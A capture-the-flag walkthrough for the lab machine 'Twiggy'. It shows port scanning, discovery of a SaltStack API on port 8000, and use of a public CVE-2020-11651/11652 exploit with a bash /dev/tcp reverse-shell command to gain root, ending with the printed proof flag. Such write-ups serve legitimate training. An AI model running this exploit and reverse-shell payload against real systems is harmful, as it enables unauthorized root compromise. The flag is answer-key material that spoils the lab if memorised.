Summary #
On port 8000 the is an application running called SaltStack
for which CVE-2020-11651 and CVE-2020-11652 Remote Code Excution exploits are available when run we can execute commands as the root
user. Using this exploit we get a reverse shell as the root
user.
Specifications #
- Name: TWIGGY
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Easy
- OS: Linux twiggy 3.10.0-1127.8.2.el7.x86_64 #1 SMP Tue May 12 16:57:42 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.134.62
- OFFSEC provided credentials: None
- HASH:
local.txt
: None - HASH:
proof.txt
:a52f9f2ebaf14af424bceb14608e79b6
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir twiggy && cd twiggy && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 16 10:05 .
drwxrwxr-x 27 kali kali 4096 Aug 16 10:05 ..
drwxrwxr-x 2 kali kali 4096 Aug 16 10:05 enum
drwxrwxr-x 2 kali kali 4096 Aug 16 10:05 exploits
drwxrwxr-x 2 kali kali 4096 Aug 16 10:05 files
drwxrwxr-x 2 kali kali 4096 Aug 16 10:05 tools
drwxrwxr-x 2 kali kali 4096 Aug 16 10:05 uploads
## set bash variable
ip=192.168.134.62
## ping target to check if it's online
ping $ip
PING 192.168.134.62 (192.168.134.62) 56(84) bytes of data.
64 bytes from 192.168.134.62: icmp_seq=1 ttl=61 time=17.9 ms
64 bytes from 192.168.134.62: icmp_seq=2 ttl=61 time=18.3 ms
^C
--- 192.168.134.62 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 17.874/18.100/18.327/0.226 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I scanned my computer so many times, it thinks we're dating.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.134.62:22
Open 192.168.134.62:53
Open 192.168.134.62:80
Open 192.168.134.62:4505
Open 192.168.134.62:4506
Open 192.168.134.62:8000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-16 10:23 CEST
Initiating Ping Scan at 10:23
Scanning 192.168.134.62 [4 ports]
Completed Ping Scan at 10:23, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:23
Completed Parallel DNS resolution of 1 host. at 10:23, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 10:23
Scanning 192.168.134.62 [6 ports]
Discovered open port 22/tcp on 192.168.134.62
Discovered open port 80/tcp on 192.168.134.62
Discovered open port 53/tcp on 192.168.134.62
Discovered open port 8000/tcp on 192.168.134.62
Discovered open port 4506/tcp on 192.168.134.62
Discovered open port 4505/tcp on 192.168.134.62
Completed SYN Stealth Scan at 10:23, 0.05s elapsed (6 total ports)
Nmap scan report for 192.168.134.62
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-08-16 10:23:06 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
53/tcp open domain syn-ack ttl 61
80/tcp open http syn-ack ttl 61
4505/tcp open unknown syn-ack ttl 61
4506/tcp open unknown syn-ack ttl 61
8000/tcp open http-alt syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
Raw packets sent: 10 (416B) | Rcvd: 7 (292B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
53/tcp open domain syn-ack ttl 61
80/tcp open http syn-ack ttl 61
4505/tcp open unknown syn-ack ttl 61
4506/tcp open unknown syn-ack ttl 61
8000/tcp open http-alt syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,53,80,4505,4506,8000
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,53,80,4505,4506,8000 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZz8rKSxgnT5mqHeBPqGlXFj2JJdq21roV/2M8/+0F5/5D1XsaXmbktDpKILFdBcYnLtPxWstxPq+FTbWAJad2uk3BPYWRxidK2dOozE5rKLCyxtkEqs/lO09pM6VKQUi83y5wMwI+9Akkir0AMruuFUSpeCIBt/L98g8OYxzyTsylQATnPxJrrQOWGUQYAvX6jIs25n6d3rmbXk/crg1ZfAVFEHEeR9Y6Bjc2o5YWjMp3XbOZyC4yYseoM6eH2yCSDwu1DzPYrU6cNMfxBf863w1uyhiFk3eIb5jud3kfoxIq6t5JU2DXNhEd4rdXuuinZUSxWiCpHLZ1FCi4tkX5
| 256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA1gj1q7mOswnou9RvKwuX8S7WFBhz2NlaSIpYPQmM0I/vqb4T459PgJcMaJOE+WmPiMnDSFsyV3C6YszM754Hc=
| 256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzTSyInONbcDxdYULbDvI/HyrQm9m9M5b6Z825jnBEF
53/tcp open domain syn-ack ttl 61 NLnet Labs NSD
80/tcp open http syn-ack ttl 61 nginx 1.16.1
|_http-server-header: nginx/1.16.1
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-favicon: Unknown favicon MD5: 11FB4799192313DD5474A343D9CC0A17
|_http-title: Home | Mezzanine
4505/tcp open zmtp syn-ack ttl 61 ZeroMQ ZMTP 2.0
4506/tcp open zmtp syn-ack ttl 61 ZeroMQ ZMTP 2.0
8000/tcp open http syn-ack ttl 61 nginx 1.16.1
|_http-server-header: nginx/1.16.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json).
|_http-open-proxy: Proxy might be redirecting requests
Initial Access #
8000/tcp open http syn-ack ttl 61 nginx 1.16.1
|_http-server-header: nginx/1.16.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json).
|_http-open-proxy: Proxy might be redirecting requests
On port 8000 we see there is a response, click on the Headers
tab and we see there is a X-Upstream
header called salt-api/3000-1
.

Searching for an exploit on the internet we find CVE-2020-11651 and CVE-2020-11652 RCE (https://github.com/jasperla/CVE-2020-11651-poc). This exploit should allow us to execute commands as root. For us to be able to run this exploit we need to install some python packages and setup a virtual environment to keep our own environment clean. So let’s do that and run the exploit to get a reverse shell as the root
user.
## setup a python virtual environment called `venv`
python3 -m venv venv
## activate the virtual environment
source venv/bin/activate
## install required packages
pip3 install salt pyyaml looseversion packaging tornado msgpack distro jinja2 zmq
## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::49e8:fd58:a665:308/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener on a known open port
nc -lvnp 80
listening on [any] 80 ...
## run the exploit to get a reverse shell as the `root` user
python3 exploit.py --master $ip --exec "bash -i >& /dev/tcp/192.168.45.204/80 0>&1"
## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.134.62] 52570
bash: no job control in this shell
[root@twiggy root]#
## print `proof.txt`
[root@twiggy root]# cat /root/proof.txt
a52f9f2ebaf14af424bceb14608e79b6
References #
[+]